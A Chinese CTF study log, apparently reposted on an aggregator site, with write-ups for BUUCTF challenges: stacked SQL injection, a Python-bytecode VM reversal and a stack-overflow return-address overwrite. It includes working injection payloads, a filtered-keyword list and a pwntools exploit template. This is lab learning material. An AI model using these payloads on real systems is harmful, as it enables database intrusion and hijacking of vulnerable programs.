寒假1.19

news2025/1/21 4:47:15

题解

web(堆叠注入):[SUCTF 2019]EasySQL

参考wp:BUUCTF [SUCTF 2019]EasySQL1 writeup(详细版)-CSDN博客

判断:

法一:

打开环境,有一个可交互的界面,随便输入几个字母,对界面无影响

CTRL+U查看一下源代码,传参类型为post,方式为query

输入1,0,1',1'#,在输入1的时候有回显,其他时候均不变,所以尝试堆叠注入

法二:

通过判断哪些字符被过滤来判断是何种注入方式

首先用bp抓包,右键send to intruder,输入关键字字典爆破

字段长度为560的都被过滤了

以下字符都被过滤:

prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|

看来报错注入,union联合注入,盲注都不太行,所以尝试堆叠注入

开始注入

爆库

1; show databases;

爆表

1;show tables;

爆字段

1;show columns from 1;
1;show * from 1;

啊哦~ 看来是有字段被禁用了

后面看了大佬们的wp,有两种做法

法一:使用 sql_mode 中的 PIPES_AS_CONCAT 函数

通过前面两种回显:输入0无回显,输入1~9返回Array ( [0] => 1 ),可将1视为true,无回显视为false可判断,后端应该使用的是逻辑或,即条件为真进行回显或条件不满足返回空白

或:一侧为1则取1,否则取0

MySQL中||操作符:表示连接操作符,不表示或的逻辑

思路:使用使用 sql_mode 中的 PIPES_AS_CONCAT 函数把||的或的逻辑改成连接符的作用

通过题目的提示也可猜测是或的逻辑关系,即后端拼接:从网页获取的内容||真正的flag的内容

select $post['query'] || flag

所以我们需要将或逻辑改为与 ,也就是先查询1,再查询flag

思路:先查询1,把||转换为连接操作符,由于分号隔断了前面的命令,所以要再次添加select来进行查询

1;set sql_mode=PIPES_AS_CONCAT;select 1

 法二:

有大佬判断出了后端

select post['query'] || flag from Flag

构建payload:

*,1

输入*,1,就相当于构造了select*,1|| flag from Flag

由于1||flag是个短路算法,直接输出1,所以这条语句执行起来相当于select*,1 from Flag

其中可分为两部分:

1.select*from Flag

2.select 1 || flag from Flag

select*from Flag通过查看表Flag中的所有数据可得到flag

misc:buuctf被劫持的神秘礼物

下载数据包,一眼就感觉这post请求相当显眼

追踪HTTP流

MD5加密

crypto:信息化时代的步伐

题目中有“答案为一串中文” ,猜测是中文电码,直接转换即可,没动什么脑子,感觉就是积累经验

reverse:[watevrCTF 2019]Repyc

打开是两个.pyc文件,用在线工具解密

第一个是一堆乱码,不过也恰恰提示了这是python虚拟机,乱码可以用replace进行替换

uncompyle6 version 3.7.4
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.7.8 (tags/v3.7.8:4b47a5b6ba, Jun 28 2020, 08:53:46) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: circ.py
# Compiled at: 2019-12-14 02:29:55
# Size of source mod 2**32: 5146 bytes
佤 = 0
侰 = ~佤 * ~佤
俴 = 侰 + 侰

def 䯂(䵦):
    굴 = 佤
    굿 = 佤
    괠 = [佤] * 俴 ** (俴 * 俴)
    궓 = [佤] * 100
    괣 = []
    while 䵦[굴][佤] != '듃':
        굸 = 䵦[굴][佤].lower()
        亀 = 䵦[굴][侰:]
        if 굸 == '뉃':
            괠[亀[佤]] = 괠[亀[侰]] + 괠[亀[俴]]
        else:
            if 굸 == '렀':
                괠[亀[佤]] = 괠[亀[侰]] ^ 괠[亀[俴]]
            else:
                if 굸 == '렳':
                    괠[亀[佤]] = 괠[亀[侰]] - 괠[亀[俴]]
                else:
                    if 굸 == '냃':
                        괠[亀[佤]] = 괠[亀[侰]] * 괠[亀[俴]]
                    else:
                        if 굸 == '뢯':
                            괠[亀[佤]] = 괠[亀[侰]] / 괠[亀[俴]]
                        else:
                            if 굸 == '륇':
                                괠[亀[佤]] = 괠[亀[侰]] & 괠[亀[俴]]
                            else:
                                if 굸 == '맳':
                                    괠[亀[佤]] = 괠[亀[侰]] | 괠[亀[俴]]
                                else:
                                    if 굸 == '괡':
                                        괠[亀[佤]] = 괠[亀[佤]]
                                    else:
                                        if 굸 == '뫇':
                                            괠[亀[佤]] = 괠[亀[侰]]
                                        else:
                                            if 굸 == '꼖':
                                                괠[亀[佤]] = 亀[侰]
                                            else:
                                                if 굸 == '뫻':
                                                    궓[亀[佤]] = 괠[亀[侰]]
                                                else:
                                                    if 굸 == '딓':
                                                        괠[亀[佤]] = 궓[亀[侰]]
                                                    else:
                                                        if 굸 == '댒':
                                                            괠[亀[佤]] = 佤
                                                        else:
                                                            if 굸 == '묇':
                                                                궓[亀[佤]] = 佤
                                                            else:
                                                                if 굸 == '묟':
                                                                    괠[亀[佤]] = input(괠[亀[侰]])
                                                                else:
                                                                    if 굸 == '꽺':
                                                                        궓[亀[佤]] = input(괠[亀[侰]])
                                                                    else:
                                                                        if 굸 == '돯':
                                                                            print(괠[亀[佤]])
                                                                        else:
                                                                            if 굸 == '뭗':
                                                                                print(궓[亀[佤]])
                                                                            else:
                                                                                if 굸 == '뭿':
                                                                                    굴 = 괠[亀[佤]]
                                                                                else:
                                                                                    if 굸 == '뮓':
                                                                                        굴 = 궓[亀[佤]]
                                                                                    else:
                                                                                        if 굸 == '뮳':
                                                                                            굴 = 괣.pop()
                                                                                        else:
                                                                                            if 굸 == '믃':
                                                                                                if 괠[亀[侰]] > 괠[亀[俴]]:
                                                                                                    굴 = 亀[佤]
                                                                                                    괣.append(굴)
                                                                                                    continue
                                                                                            else:
                                                                                                if 굸 == '꽲':
                                                                                                    괠[7] = 佤
                                                                                                    for i in range(len(괠[亀[佤]])):
                                                                                                        if 괠[亀[佤]] != 괠[亀[侰]]:
                                                                                                            괠[7] = 侰
                                                                                                            굴 = 괠[亀[俴]]
                                                                                                            괣.append(굴)

                                                                                                else:
                                                                                                    if 굸 == '꾮':
                                                                                                        괢 = ''
                                                                                                        for i in range(len(괠[亀[佤]])):
                                                                                                            괢 += chr(ord(괠[亀[佤]][i]) ^ 괠[亀[侰]])

                                                                                                        괠[亀[佤]] = 괢
                                                                                                    else:
                                                                                                        if 굸 == '꿚':
                                                                                                            괢 = ''
                                                                                                            for i in range(len(괠[亀[佤]])):
                                                                                                                괢 += chr(ord(괠[亀[佤]][i]) - 괠[亀[侰]])

                                                                                                            괠[亀[佤]] = 괢
                                                                                                        else:
                                                                                                            if 굸 == '떇':
                                                                                                                if 괠[亀[侰]] > 괠[亀[俴]]:
                                                                                                                    굴 = 괠[亀[佤]]
                                                                                                                    괣.append(굴)
                                                                                                                    continue
                                                                                                            else:
                                                                                                                if 굸 == '뗋':
                                                                                                                    if 괠[亀[侰]] > 괠[亀[俴]]:
                                                                                                                        굴 = 궓[亀[佤]]
                                                                                                                        괣.append(굴)
                                                                                                                        continue
                                                                                                                else:
                                                                                                                    if 굸 == '똷':
                                                                                                                        if 괠[亀[侰]] == 괠[亀[俴]]:
                                                                                                                            굴 = 亀[佤]
                                                                                                                            괣.append(굴)
                                                                                                                            continue
                                                                                                                    else:
                                                                                                                        if 굸 == '뚫':
                                                                                                                            if 괠[亀[侰]] == 괠[亀[俴]]:
                                                                                                                                굴 = 괠[亀[佤]]
                                                                                                                                괣.append(굴)
                                                                                                                                continue
                                                                                                                        else:
                                                                                                                            if 굸 == '띇':
                                                                                                                                if 괠[亀[侰]] == 괠[亀[俴]]:
                                                                                                                                    굴 = 궓[亀[佤]]
                                                                                                                                    괣.append(굴)
                                                                                                                                    continue
        굴 += 侰


䯂([
 [  '꼖', 佤, 'Authentication token: '],
 [  '꽺', 佤, 佤],
 [  '꼖', 6, 'á×äÓâæíäàßåÉÛãåäÉÖÓÉäàÓÉÖÓåäÉÓÚÕæïèäßÙÚÉÛÓäàÙÔÉÓâæÉàÓÚÕÓÒÙæäàÉäàßåÉßåÉäàÓÉÚÓáÉ·Ôâ×ÚÕÓÔɳÚÕæïèäßÙÚÉÅä×ÚÔ×æÔÉ×Úïá×ïåÉßÉÔÙÚäÉæÓ×ÜÜïÉà×âÓÉ×ÉÑÙÙÔÉâßÔÉÖãäÉßÉæÓ×ÜÜïÉÓÚÞÙïÉäàßåÉåÙÚÑÉßÉàÙèÓÉïÙãÉáßÜÜÉÓÚÞÙïÉßäÉ×åáÓÜÜ\x97ÉïÙãäãÖÓ\x9aÕÙÛ\x99á×äÕà©â«³£ï²ÕÔÈ·±â¨ë'],
 [  '꼖', 俴, 俴 ** (3 * 俴 + 侰) - 俴 ** (俴 + 侰)],
 [  '꼖', 4, 15],
 [  '꼖', 3, 侰],
 [  '냃', 俴, 俴, 3],
 [  '뉃', 俴, 俴, 4],
 [  '괡', 佤, 俴],
 [  '댒', 3],
 [  '꾮', 6, 3],
 [  '꼖', 佤, 'Thanks.'],
 [  '꼖', 侰, 'Authorizing access...'],
 [  '돯', 佤],
 [  '딓', 佤, 佤],
 [  '꾮', 佤, 俴],
 [  '꿚', 佤, 4],
 [  '꼖', 5, 19],
 [  '꽲', 佤, 6, 5],
 [  '돯', 侰],
 [  '듃'],
 [  '꼖', 侰, 'Access denied!'],
 [  '돯', 侰],
 [  '듃']])

替换一下字符,方便阅读

# uncompyle6 version 3.7.4
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.7.8 (tags/v3.7.8:4b47a5b6ba, Jun 28 2020, 08:53:46) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: circ.py
# Compiled at: 2019-12-14 02:29:55
# Size of source mod 2**32: 5146 bytes
a = 0
b = ~a * ~a #b=1
c = b + b   #c=2
 
def fun(x):
    t = a
    t2 = a
    m = [a] * c ** (c * c)
    key1 = [a] * 100
    key2 = []
    while x[t][a] != 'NULL':
        x1 = x[t][a].lower()
        x2 = x[t][b:]
        if x1 == 'ADD':
            m[x2[a]] = m[x2[b]] + m[x2[c]]
        else:
            if x1 == 'XOR':
                m[x2[a]] = m[x2[b]] ^ m[x2[c]]
            else:
                if x1 == 'SUB':
                    m[x2[a]] = m[x2[b]] - m[x2[c]]
                else:
                    if x1 == 'X':
                        m[x2[a]] = m[x2[b]] * m[x2[c]]
                    else:
                        if x1 == '/':
                            m[x2[a]] = m[x2[b]] / m[x2[c]]
                        else:
                            if x1 == '&':
                                m[x2[a]] = m[x2[b]] & m[x2[c]]
                            else:
                                if x1 == '|':
                                    m[x2[a]] = m[x2[b]] | m[x2[c]]
                                else:
                                    if x1 == 'mov':
                                        m[x2[a]] = m[x2[a]]
                                    else:
                                        if x1 == 'mov1':
                                            m[x2[a]] = m[x2[b]]
                                        else:
                                            if x1 == 'mov2':
                                                m[x2[a]] = x2[b]
                                            else:
                                                if x1 == 'mov3':
                                                    key1[x2[a]] = m[x2[b]]
                                                else:
                                                    if x1 == 'mov4':
                                                        m[x2[a]] = key1[x2[b]]
                                                    else:
                                                        if x1 == 'mov5':
                                                            m[x2[a]] = a
                                                        else:
                                                            if x1 == 'mov6':
                                                                key1[x2[a]] = a
                                                            else:
                                                                if x1 == 'input1':
                                                                    m[x2[a]] = input(m[x2[b]])
                                                                else:
                                                                    if x1 == 'input2':
                                                                        key1[x2[a]] = input(m[x2[b]])
                                                                    else:
                                                                        if x1 == 'print1':
                                                                            print(m[x2[a]])
                                                                        else:
                                                                            if x1 == 'print2':
                                                                                print(key1[x2[a]])
                                                                            else:
                                                                                if x1 == 'mov7':
                                                                                    t = m[x2[a]]
                                                                                else:
                                                                                    if x1 == 'mov8':
                                                                                        t = key1[x2[a]]
                                                                                    else:
                                                                                        if x1 == 'POP':
                                                                                            t = key2.pop()
                                                                                        else:
                                                                                            if x1 == 'mov9':
                                                                                                if m[x2[b]] > m[x2[c]]:
                                                                                                    t = x2[a]
                                                                                                    key2.append(t)
                                                                                                    continue
                                                                                            else:
                                                                                                if x1 == 'cmp':
                                                                                                    m[7] = a
                                                                                                    for i in range(len(m[x2[a]])):
                                                                                                        if m[x2[a]] != m[x2[b]]:
                                                                                                            m[7] = b
                                                                                                            t = m[x2[c]]
                                                                                                            key2.append(t)
 
                                                                                                else:
                                                                                                    if x1 == 'for XOR':
                                                                                                        flag = ''
                                                                                                        for i in range(len(m[x2[a]])):
                                                                                                            flag += chr(ord(m[x2[a]][i]) ^ m[x2[b]])
 
                                                                                                        m[x2[a]] = flag
                                                                                                    else:
                                                                                                        if x1 == 'for SUB':
                                                                                                            flag = ''
                                                                                                            for i in range(len(m[x2[a]])):
                                                                                                                flag += chr(ord(m[x2[a]][i]) - m[x2[b]])
 
                                                                                                            m[x2[a]] = flag
                                                                                                        else:
                                                                                                            if x1 == 'mov10':
                                                                                                                if m[x2[b]] > m[x2[c]]:
                                                                                                                    t = m[x2[a]]
                                                                                                                    key2.append(t)
                                                                                                                    continue
                                                                                                            else:
                                                                                                                if x1 == 'mov11':
                                                                                                                    if m[x2[b]] > m[x2[c]]:
                                                                                                                        t = key1[x2[a]]
                                                                                                                        key2.append(t)
                                                                                                                        continue
                                                                                                                else:
                                                                                                                    if x1 == 'cmp1':
                                                                                                                        if m[x2[b]] == m[x2[c]]:
                                                                                                                            t = x2[a]
                                                                                                                            key2.append(t)
                                                                                                                            continue
                                                                                                                    else:
                                                                                                                        if x1 == 'cmp2':
                                                                                                                            if m[x2[b]] == m[x2[c]]:
                                                                                                                                t = m[x2[a]]
                                                                                                                                key2.append(t)
                                                                                                                                continue
                                                                                                                        else:
                                                                                                                            if x1 == 'cmp3':
                                                                                                                                if m[x2[b]] == m[x2[c]]:
                                                                                                                                    t = key1[x2[a]]
                                                                                                                                    key2.append(t)
                                                                                                                                    continue
        t += b
 
 
fun([
 [#m[0]=="Authentication token: "
  'mov2', a, 'Authentication token: '],
 [#key1[0]=="答案"
  'input2', a, a],
 [#m[6]=="á×äÓâæíäàßåÉÛãåäÉÖÓÉäà......."
  'mov2', 6, 'á×äÓâæíäàßåÉÛãåäÉÖÓÉäàÓÉÖÓåäÉÓÚÕæïèäßÙÚÉÛÓäàÙÔÉÓâæÉàÓÚÕÓÒÙæäàÉäàßåÉßåÉäàÓÉÚÓáÉ·Ôâ×ÚÕÓÔɳÚÕæïèäßÙÚÉÅä×ÚÔ×æÔÉ×Úïá×ïåÉßÉÔÙÚäÉæÓ×ÜÜïÉà×âÓÉ×ÉÑÙÙÔÉâßÔÉÖãäÉßÉæÓ×ÜÜïÉÓÚÞÙïÉäàßåÉåÙÚÑÉßÉàÙèÓÉïÙãÉáßÜÜÉÓÚÞÙïÉßäÉ×åáÓÜÜ\x97ÉïÙãäãÖÓ\x9aÕÙÛ\x99á×äÕà©â«³£ï²ÕÔÈ·±â¨ë'],
 [#m[2]==2**(3*2+1)-2**(2+1)==120
  'mov2', c, c ** (3 * c + b) - c ** (c + b)],
 [#m[4]==15
  'mov2', 4, 15],
 [#m[3]==1
  'mov2', 3, b],
 [#m[2]==m[2]*m[3]==120
  'X', c, c, 3],
 [#m[2]==m[2]+m[4]==135
  'ADD', c, c, 4],
 [#m[0]==m[0]
  'mov', a, c],
 [#m[3]==0
  'mov5', 3],
 [#m[6]==m[6]^m[3]
  'for XOR', 6, 3],
 [#m[0]=="Thanks."
  'mov2', a, 'Thanks.'],
 [#m[1]=="Authorizing access..."
  'mov2', b, 'Authorizing access...'],
 [#print("Thanks.")
  'print1', a],
 [#m[0]==key1[0]
  'mov4', a, a],
 [#m[0]==m[0]^m[2]
  'for XOR', a, c],
 [#m[0]==m[0]-m[4]
  'for SUB', a, 4],
 [#m[5]==19
  'mov2', 5, 19],
 [#m[0]!=a[6]
  'cmp', a, 6, 5],
 [#print("Authorizing access...")
  'print1', b],
 [
  'NULL'],
 [#m[1]=="Access denied!"
  'mov2', b, 'Access denied!'],
 [#print("Access denied!")
  'print1', b],
 [
  'NULL']])

 补充一点有关python虚拟机的知识点,x是栈,m和o是寄存器,y和t是存储空间

整体思路:输入一个字符串,与135异或,再减去15,得到那一堆类似于俄文的东西

再逆向思维写个脚本

太长了,一开始都没看出来这是个flag(汗颜)

pwn:buuctf-rip

拿到题目,照例放进exeinfope里看看,.elf文件,64字节

丢进ida64看看,直奔main函数,一来就看到了亲爱的gets函数,点进去看看

双击s看看栈,有15字节的存储空间,还需要8个自己把rbp填满,所以是15+8=23个字节

接下来再找找system函数,在fun函数里

查看一下fun函数的位置,0x401186,所以payload=‘a’ * 15 + p64(0x401186)

思路:利用gets函数获取一个长字符串覆盖rip来控制程序流到fun()函数

知识点

web

1.堆叠注入:

将多条SQL语句放在一起,并用分号分开,分号后输入的就是一个全新的SQL语句了。可以无限制的使用增删查改

触发条件:目标存在SQL注入漏洞,未过滤“;”且存在如mysqli_multi_query()等支持同时执行多条SQL语句的函数

函数语法:

mysqli_multi_query(connection,query)

connection:规定要使用的MySQL连接

query:规定一个或多个查询,用分号进行分隔

2.select语句的作用:

从数据库中选取数据,返回的数据会存储在结果表中

SQL注入攻击详解与防御策略-CSDN博客

3.非预期漏洞:

利用数据库对符号判断的不准确形成的漏洞

crypto

中文电码表:

采用四位阿拉伯数字作代号,从0001到9999按四位数顺序排列,用四位数字表示最多一万个汉字、字母和符号。汉字先按部首,后按笔划排列。字母和符号放到电码表的最尾。

reverse

.pyc文件解密法二:用uncompyle6模块解密

安装uncompyle6,win+R输入cmd,再输入以下命令

pip install uncompyle6

 

 需要调用时直接输入uncompyle6+文件路径即可,像我这里输入的就是

uncompyle 6 C:\Users\aran\Desktop\rubbish\3nohtyp.pyc

pwn

栈溢出相关脚本模板:

from pwn import * #引入pwn库

p = remote(ip, port) # 输入对应的ip地址和端口号来连接其他主机的服务

... # 输入payload来进行操作以拿到程序的shell payload一般等于 偏移量 + 地址
p.sendline()#括号内一般是payload

p.interactive() # 反弹shell

上面这个有点简略,我又去找GPT搞了一个,但是第二条语句我目前还没用到过

from pwn import *

# 设置目标二进制文件的路径
binary_path = './vulnerable_binary'

# 创建一个上下文,指定目标架构和操作系统
context(arch='amd64', os='linux')  # 根据实际情况修改架构和操作系统

# 加载目标二进制文件
p = process(binary_path)  # 或者使用 remote('host', port) 连接远程服务

# 构造payload
# 这里我们假设已经知道了栈溢出的偏移量和返回地址的覆盖位置
# 'A' * offset 是为了填充到返回地址之前的部分
# p64(target_address) 是将返回地址覆盖为目标函数的地址(通常是一个shellcode的地址或ROP链的起始地址)
offset = 136  # 这是一个假设的偏移量,实际情况需要通过调试获得
target_address = 0xdeadbeef  # 这是一个假设的目标地址,实际情况需要是shellcode的地址或ROPgadget的地址
照这两天做题的情况来看,以上数据都是需要将附件拖进ida中反编译得到
payload = 'A' * offset + p64(target_address)

# 发送payload
p.sendline(payload)

# 等待shell(如果payload成功执行了shellcode或ROP链)
p.interactive()

前两天做过的栈溢出相关题的脚本,对应着复习一下

1

2.这题比起另外两题多了一个创建上下文和指定操作系统的过程

3

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2279649.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

WebGL渲染3D高斯泼溅模型

WebGL渲染3D高斯泼溅模型 原文: GitHub - kishimisu/Gaussian-Splatting-WebGL: 3D Gaussian Splatting Renderer for WebGL 此外,一些基于webgpu,threejs渲染,以及和cesium集成的项目如下 GitHub - playcanvas/supersplat: 3D Ga…

前端:angular工程目录结构和相关文件学习

前端工程结构,angular: 环境变量文件说明: // The file contents for the current environment will overwrite these during build. // The build system defaults to the dev environment which uses environment.ts, but if you do // n…

Linux图形界面详解以及替换桌面程序方法[持续更新]

说明:本文章主要说明Linux图形界面的启动流程,以及使用自己的图形化应用替换桌面程序的方法,类似与安卓启动会启动Launcher,使用自己程序替换Launcher一样,实现应用独占系统,或者设计自己的桌面程序&#x…

异地IP属地代理业务解析:如何改变IP属地

在数字化时代,IP地址作为网络设备的唯一标识符,不仅关乎设备间的通信,还涉及到用户的网络身份与位置信息。随着互联网的深入发展,异地IP属地代理业务逐渐走进大众视野,成为许多用户关注的话题。本文将详细解析异地IP属…

网络安全VS数据安全

关于网络安全和数据安全,我们常听到如下两种不同声音: 观点一:网络安全是数据安全的基础,把当年做网络安全的那一套用数据安全再做一遍。 观点二:数据安全如今普遍以为是网络安全的延伸,实际情况是忽略数据…

Android系统开发(一):AOSP 架构全解析:开源拥抱安卓未来

引言 当我们手握智能手机,流畅地滑动屏幕、切换应用、欣赏动画时,背后其实藏着一套庞大且精密的开源系统——Android AOSP(Android Open Source Project)。这套系统不仅是所有安卓设备的根基,也是系统开发者的终极 pl…

day02_ElasticSearch基础和SeaTunnel

文章目录 day02_ElasticSearch基础和SeaTunnel一、ElasticSearch基本介绍(了解)1、Elasticsearch应用方向2、ElasticSearch特点3、发展历史二、安装ElasticSearch(操作)1、安装ElasticSearch2、插件安装2.1 浏览器安装可视化插件2.2 PyCharm安装Elasticsearch插件三、Elast…

AI 大爆发时代,音视频未来路在何方?

AI 大模型突然大火了 回顾2024年,计算机领域最大的变革应该就是大模型进一步火爆了。回顾下大模型的发展历程: 萌芽期:(1950-2005) 1956年:计算机专家约翰麦卡锡首次提出“人工智能”概念,标志…

OpenEuler学习笔记(三):为什么要搞OpenEuler?

为什么要搞OpenEuler? 技术自主可控需求 在信息技术领域,操作系统是关键的基础软件。过去,很多关键技术被国外厂商掌控,存在技术“卡脖子”的风险。OpenEuler的出现可以为国内提供一个自主可控的操作系统选择。例如,在…

linux下的NFS和FTP部署

目录 NFS应用场景架构通信原理部署权限认证Kerberos5其他认证方式 命令serverclient查看测试系统重启后自动挂载 NFS 共享 高可用实现 FTP对比一些ftp服务器1. **vsftpd (Very Secure FTP Daemon)**2. **ProFTPD (Professional FTP Daemon)**3. **Pure-FTPd**4. **WU-FTPD (Was…

STM32-keil安装时遇到的一些问题以及解决方案

前言: 本人项目需要使用到STM32,故需配置keil 5,在配置时遇到了以下问题,并找到相应的解决方案,希望能够为遇到相同问题的道友提供一些解决思路 1、提示缺少(missing)version 5编译器 step1:找…

mfc操作json示例

首先下载cJSON,加入项目; 构建工程,如果出现, fatal error C1010: unexpected end of file while looking for precompiled head 在cJSON.c文件的头部加入#include "stdafx.h"; 看情况,可能是加到.h或者是.cpp文件的头部,它如果有包含头文件, #include &…

AI可信论坛亮点:合合信息分享视觉内容安全技术前沿

前言 在当今科技迅猛发展的时代,人工智能(AI)技术正以前所未有的速度改变着我们的生活与工作方式。作为AI领域的重要盛会,CSIG青年科学家会议AI可信论坛汇聚了众多青年科学家与业界精英,共同探讨AI技术的最新进展、挑…

调试Hadoop源代码

个人博客地址:调试Hadoop源代码 | 一张假钞的真实世界 Hadoop版本 Hadoop 2.7.3 调试模式下启动Hadoop NameNode 在${HADOOP_HOME}/etc/hadoop/hadoop-env.sh中设置NameNode启动的JVM参数,如下: export HADOOP_NAMENODE_OPTS"-Xdeb…

Ability Kit-程序框架服务(类似Android Activity)

文章目录 Ability Kit(程序框架服务)简介Stage模型开发概述Stage模型应用组件应用/组件级配置UIAbility组件概述概述声明配置 生命周期概述生命周期状态说明Create状态WindowStageCreate**和**WindowStageDestroy状态WindowStageWillDestroy状态Foregrou…

鸿蒙安装HAP时提示“code:9568344 error: install parse profile prop check error” 问题现象

在启动调试或运行应用/服务时,安装HAP出现错误,提示“error: install parse profile prop check error”错误信息。 解决措施 该问题可能是由于应用使用了应用特权,但应用的签名文件发生变化后未将新的签名指纹重新配置到设备的特权管控白名…

哈尔滨有双线服务器租用吗?

哈尔滨有双线服务器租用吗?双线服务器是一种针对哈尔滨特有的网络环境优化的服务器解决方案,它能够同时支持中国电信和中国联通或移动其中两家主要ISP(互联网服务提供商)的连接。 由于中国南方地区多采用电信网络,而北…

三天急速通关Java基础知识:Day1 基本语法

三天急速通关JAVA基础知识:Day1 基本语法 0 文章说明1 关键字 Keywords2 注释 Comments2.1 单行注释2.2 多行注释2.3 文档注释 3 数据类型 Data Types3.1 基本数据类型3.2 引用数据类型 4 变量与常量 Variables and Constant5 运算符 Operators6 字符串 String7 输入…

JVM 面试八股文

目录 1. 前言 2. JVM 简介 3. JVM 内存划分 3.1 为什么要进行内存划分 3.2 内存划分的核心区域 3.2.1 核心区域一: 程序计数器 3.2.2 核心区域二: 元数据区 3.2.3 核心区域三: 栈 3.2.4 核心区域四: 堆 4. JVM 类加载机制 4.1 类加载的步骤 4.1.1 步骤一: 加载 4…

《AI赋能中国制造2025:智能变革,制造未来》

引言:开启智能制造新时代 在全球制造业格局深度调整的当下,科技变革与产业转型的浪潮汹涌澎湃。2015 年,我国重磅推出《中国制造 2025》这一宏伟战略,它如同一座灯塔,为中国制造业驶向高端化、智能化、绿色化的彼岸指明…